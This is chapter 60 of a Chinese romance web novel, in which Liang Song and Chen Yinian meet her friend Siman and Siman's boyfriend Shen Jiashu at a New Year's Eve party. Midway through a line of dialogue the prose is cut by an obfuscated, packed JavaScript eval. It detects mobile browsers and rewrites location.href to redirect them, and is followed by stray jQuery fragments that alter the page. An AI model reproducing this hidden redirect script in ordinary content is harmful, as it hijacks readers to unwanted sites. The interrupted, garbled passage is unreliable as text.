60. 第 60 章

作品:《这真心话是非说不可吗?

    跨年夜,处处洋溢着浓郁的节日气氛。


    毕竟要见到陈以年的朋友,梁颂也不想灰头土脸的,特意精心打扮了一番,看看时间差不多,依然提前下楼去等陈以年。


    没想到,陈以年这次也学乖了,到得更早了些,等她到小区门口时,陈以年的车早已等在那里了。


    梁颂加快脚步走过去,敲了敲副驾驶那边的车窗。


    陈以年降下车窗,见到她的时候眼睛一亮,笑着说:“怎么样?今天总是我更早了吧。”


    梁颂拉开车门上车:“谁要跟你计较这个啊,幼稚。”


    她伸手去扯安全带,动作间露出了换到左手腕的手链。


    陈以年当然也看到了,明知故问:“为什么换到左手了?之前一直戴的那条呢?”


    梁颂系好安全带,正拿出手机看自己的妆怎么样,没有听出他的言外之意,随口说:“收起来了啊,戴两条多奇怪。”


    “哦——”


    梁颂转头看他,这才注意到他那一丝隐秘的喜悦,奇怪地问:“怎么了?”


    陈以年摇了摇头,“不,没什么。”


    梁颂半信半疑,但也没多问。


    陈以年岔开话题,说:“昨天没有问你,你去看自己的生日礼物了吗?”


    “……”梁颂不情愿地点了点头,“看了,是同款的。”


    “这下你该承认了吧,我们两个心有灵犀。”


    梁颂撇开视线,顾左右而言他:“不要说了,我们快出发吧。刚刚思曼给我发消息说他们准备出发了,可能会比我们晚一点到。”


    陈以年微微一笑,没再难为她:“好,出发。”


    “还有一件事,我们到了后,我得等她一起进去。”


    “嗯?为什么?”


    梁颂无奈地说:“她说她怯场,非要我接她不可。”


    陈以年失笑,说:“从我所了解的你这位朋友的行事作风来看,她可不像是会怯场的人啊。”


    “没办法,她说要我接,我必须照做啊。”梁颂自然而然地说,又问,“对了,你们两个是不是还没有见过面?”


    “嗯,确实没见过,所以很好奇。”


    “那你今天就可以见到她了。”梁颂说,想了想又不放心地说,“嗯,如果她对你一时有什么失言或不礼貌的地方,拜托你看在我的面子上,不要和她生气,她有时候嘴快,但绝对不是有意的。”


    “好啦,我是那么小肚鸡肠的人吗?这点气量我还是有的吧。”陈以年说,“何况,我明知道她是你最好的朋友,去讨好还来不及,怎么会轻易和她生气呢?”


    梁颂别扭地缩了缩肩膀:“你不要这么说,好怪。”


    “嗯?哪里怪?”


    梁颂支支吾吾:“说不好,总之很怪,你正常和她相处就好,不需要刻意加戏。”


    “好——我听你的就是了。”


    梁颂的视线落在陈以年的手腕上,他仍然戴着自己送的腕表,没有换下来。


    自己选得果然不错,和他很搭。


    陈以年若无其事地开口:“好看吗?”


    梁颂正在为自己选礼物的眼光沾沾自喜,闻言一愣:“嗯?”


    “你好像很喜欢自己送给我的新年礼物。”陈以年说,“顺便说一句,我也非常非常喜欢,谢谢你。”


    梁颂移开目光,故作平淡地应:“知道了。”


    跨年夜的缘故,交通稍显拥堵,陈以年对比了几条线路,选了距离最远但车流相对较少的那一条。


    离盛星那家“三棵树”越近,梁颂就越觉得周围隐隐眼熟,忍不住微微皱起了眉,贴近了车窗去看。


    陈以年抽空看了她一眼:“怎么了?你看见什么了?”


    梁颂没答话,终于在看到几间连着的酒吧时,猛然回头:“这是不是上次……”


    陈以年没明白她突然激动什么,但也记得他们曾在这里碰到过,放慢了车速,找了个最近的停车位,边停车边说:“嗯,上次在这里见到你的时候,你和一个自称是你朋友的家伙在一起。我提醒你他对你居心不良,你反倒把我骂了一通。——说起来,他后来没有骚扰你吧。”


    “他嘴欠而已,不会真做什么的,而且我哪有骂你,你是夸大其词。”


    陈以年停好车,转过头看她:“但你对我很凶,这你得承认吧。”


    “就当我态度不好,行了吧。”梁颂勉为其难地说,赶紧先问自己更在意的问题,“所以,你那时候也是来找你的大学同学的?”


    “是啊。”


    “哦……我还在想你怎么那么大胆,敢一个人出现在这种地方。”


    “你当我是来找乐子的?”陈以年惊呆了,委屈地控诉,“梁颂你好过分,原来你都在这样揣测我。”


    梁颂心虚地摸了摸鼻子:“对不起,是我想偏了。”


    陈以年故意做出不满的样子:“不行,不接受道歉,没有诚意。”


    “哈?那你还要怎样?”


    “这要问你自己了啊,你就再想想更有诚意的道歉方式不行吗?”


    “……”梁颂无语地吐槽,“你可真难伺候。”


    “我不管。”


    梁颂吐槽归吐槽,却也真的认真思考了片刻,故弄玄虚地说:“那,我提前给你透露一点信息?”


    “什么信息,不重要的我可不听。”


    “关于你说的那个居心不良的家伙,你还记得他叫沈嘉树吧,你面对他也要收敛点。”


    陈以年不解:“怎么还有他的事?阴魂不散吗?”


    梁颂看他表现出了兴趣,借机提出条件:“你接受我的道歉,我就告诉你。”


    这次无语的换成了陈以年,可他本来也不过是想逗逗梁颂,顺着台阶就丝滑地下来了:“好吧,那你说来听听。”


    梁颂看了看时间,说:“你大概十分钟后就能看到他了。”


    陈以年眯起眼睛:“嗯?”


    “是的,思曼的男朋友就是他,沈嘉树。”梁颂满意地在他脸上看到了吃惊,说,“怎么样?意外吗?”


    “……”陈以年仿佛受到了某种了不得的冲击一般,欲言又止,最后问,“这到底是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204101|186901||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么回事?你把我弄糊涂了。”


    “其实事情也很简单,我长话短说。”梁颂言简意赅地解释,“那天是我陪思曼去见相亲对象,沈嘉树是那位相亲对象的朋友。结果思曼和正牌相亲对象没成,反而和他这个电灯泡戏剧性地在一起了。”


    陈以年紧锁的眉头并未舒展:“那他为什么表现得一副对你不怀好意的样子?”


    “我就说他是嘴欠嘛,可能不是什么良人。”梁颂嫌弃地耸耸鼻子,“可没办法,思曼已经陷进去了,我只能寄希望于他是真的痛改前非了。”


    “好吧,这的确是条令人意外的信息。”陈以年说,“被你这么一说,我更想见见你这位不怎么理智的朋友了。”


    这时,梁颂很合时宜地收到了姚思曼的消息:“我们还有五分钟就到啦,你们在哪儿?”


    梁颂回复:“那我们就在门口等你们吧,好吗?”


    姚思曼回了个OK的表情包。


    梁颂按下锁屏键,对陈以年说:“他们五分钟就到,我们去门口那边等吧。”


    陈以年答应:“好。”


    梁颂下车,只觉被扑面而来的冷风打了一巴掌,搓了搓手,问:“是不是突然起风了?”


    “是,很冷吧。”陈以年说着就要脱掉自己的大衣,“先披上我的衣服。”


    “不要。”梁颂立刻抬手阻止,“就这么几分钟,我还能坚持,你自己穿得也很单薄,别在这边逞英雄了。”


    陈以年哭笑不得:“怎么是逞英雄呢?”


    “难道不是吗?万一你感冒了,到时候内疚的又是我。”梁颂说,“你要是敢脱我就直接给你丢出去。”


    陈以年无奈地摇头:“好,我不脱。”


    好在姚思曼和沈嘉树的五分钟很准时,并没有让他们吹太久的冷风。


    梁颂冷得瑟瑟发抖,完全没心情帮他们做什么详细的介绍,随便伸手一指:“姚思曼,沈嘉树。”又指陈以年,“陈以年。”


    三个人彼此点头致意,陈以年说:“外面冷,先进去再慢慢聊吧。”


    他们进入店内,在入口出示了由盛星亲自制作的电子邀请函,穿过一小段回廊后,服务生又把他们引到衣帽间,帮他们存放外衣和想要寄存的随身物品。


    姚思曼还有点拘束,往外走的时候就开始紧贴着梁颂不放了,凑在她耳边用气声说:“梁小颂,我好紧张啊。”


    梁颂拍了拍她的手背:“不要紧张啦,大家都开始吃吃喝喝了,根本没人会在意我们的出现的。”


    “真的吗?”姚思曼不安地问,“那他们不会看我没头没脸的就把我赶出去吧。”


    “怎么会呢,你有邀请函的啊。”梁颂耐心地安抚她,“好啦,你就放轻松吧,只是个随意的小聚会,没什么大不了的。”


    陈以年和沈嘉树两个人跟在她们后面,对视一眼,都从彼此的眼睛里看到了难以言说的复杂情绪。


    沈嘉树想,尴尬了,待会儿必须得和他单独聊聊消除误会了。


    陈以年则想,很好,看来待会儿有必要再警告他一次了。